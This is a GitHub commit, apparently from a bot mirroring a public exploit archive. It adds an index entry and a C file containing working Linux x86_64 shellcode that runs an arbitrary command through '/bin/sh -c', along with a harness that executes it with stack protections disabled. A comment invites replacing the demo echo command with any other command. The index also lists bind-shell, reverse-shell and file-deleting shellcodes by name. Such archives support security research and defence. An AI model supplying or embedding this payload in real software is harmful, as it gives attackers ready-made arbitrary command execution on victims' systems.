Skip to content

Commit a3a0e97

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents cc67296 + f038e8c commit a3a0e97

File tree

2 files changed

+46
-0
lines changed

2 files changed

+46
-0
lines changed

files_shellcodes.csv

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -828,6 +828,7 @@ id,file,description,date_published,author,type,platform,size,date_added,date_upd
828828
46975,shellcodes/linux_x86-64/46975.c,"Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (131 bytes)",2019-06-07,"Aron Mihaljevic",,linux_x86-64,131,2019-06-07,2019-06-07,0,,,,,,
829829
46870,shellcodes/linux_x86-64/46870.c,"Linux/x86_64 - Delete File (test.txt) Shellcode (28 bytes)",2019-05-20,"Aron Mihaljevic",,linux_x86-64,28,2019-05-20,2019-05-20,0,,,,,,
830830
47292,shellcodes/linux_x86-64/47292.c,"Linux/x86_64 - execve(_/bin/sh_) + AVX2 XOR Decoder Shellcode (62 bytes)",2019-08-19,"Gonçalo Ribeiro",,linux_x86-64,62,2019-08-19,2021-01-15,0,,,,,,
831+
52395,shellcodes/linux_x86-64/52395.c,"Linux/x86_64 - execve(_/bin/sh__[_-c__cmd]_NULL) Arbitrary Command Execution Shellcode (63 bytes)",2025-08-04,"Muzaffer Umut ŞAHİN",,linux_x86-64,63,2025-08-04,2025-08-04,0,,,,,,
831832
47008,shellcodes/linux_x86-64/47008.c,"Linux/x86_64 - execve(/bin/sh) Shellcode (22 bytes)",2019-06-18,"Aron Mihaljevic",,linux_x86-64,22,2019-06-18,2019-06-18,0,,,,,,
832833
47025,shellcodes/linux_x86-64/47025.c,"Linux/x86_64 - Reverse (0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode",2019-06-24,"Aron Mihaljevic",,linux_x86-64,,2019-06-24,2019-06-27,0,,,,,,
833834
47291,shellcodes/linux_x86-64/47291.c,"Linux/x86_64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (pass) Shellcode (120 bytes)",2019-08-19,"Gonçalo Ribeiro",,linux_x86-64,120,2019-08-19,2019-08-20,0,,,,,,

shellcodes/linux_x86-64/52395.c

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
/*
2+
Title: Linux/x86_64 execve("/bin/sh",["-c",cmd],NULL) Arbitary Command Execution Shellcode (63 bytes)
3+
Author: Muzaffer Umut ŞAHİN
4+
5+
Date: 05.26.2025
6+
Tested on Kali Linux/x86_64
7+
8+
--------------------------------------------------[CODE]--------------------------------------------------
9+
10+
global _start
11+
12+
_start:
13+
xor rax,rax
14+
xor rdx,rdx
15+
mov rdi,0x68732f6e69622f2f ; //bin/sh
16+
push rax
17+
push rdi
18+
mov rdi,rsp
19+
push rax
20+
push word 0x632d ; push "-c"
21+
mov rsi,rsp
22+
push rax
23+
jmp cmd
24+
end:
25+
push rsi
26+
push rdi
27+
mov rsi,rsp
28+
mov al,59
29+
syscall
30+
cmd:
31+
call end
32+
db "echo 'hell yeah!'" ; change this with your command
33+
34+
gcc -z execstack -fno-stack-protector -o main main.c
35+
*/
36+
37+
#include <stdio.h>
38+
#include <string.h>
39+
40+
int main() {
41+
unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xd2\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x57\x48\x89\xe7\x50\x66\x68\x2d\x63\x48\x89\xe6\x50\xeb\x09\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf2\xff\xff\xff\x65\x63\x68\x6f\x20\x27\x68\x65\x6c\x6c\x20\x79\x65\x61\x68\x21\x27";
42+
printf("Size of the shellcode is %d bytes\n", strlen(shellcode));
43+
(*(void(*)())shellcode)();
44+
return 0;
45+
}

0 commit comments

Comments
 (0)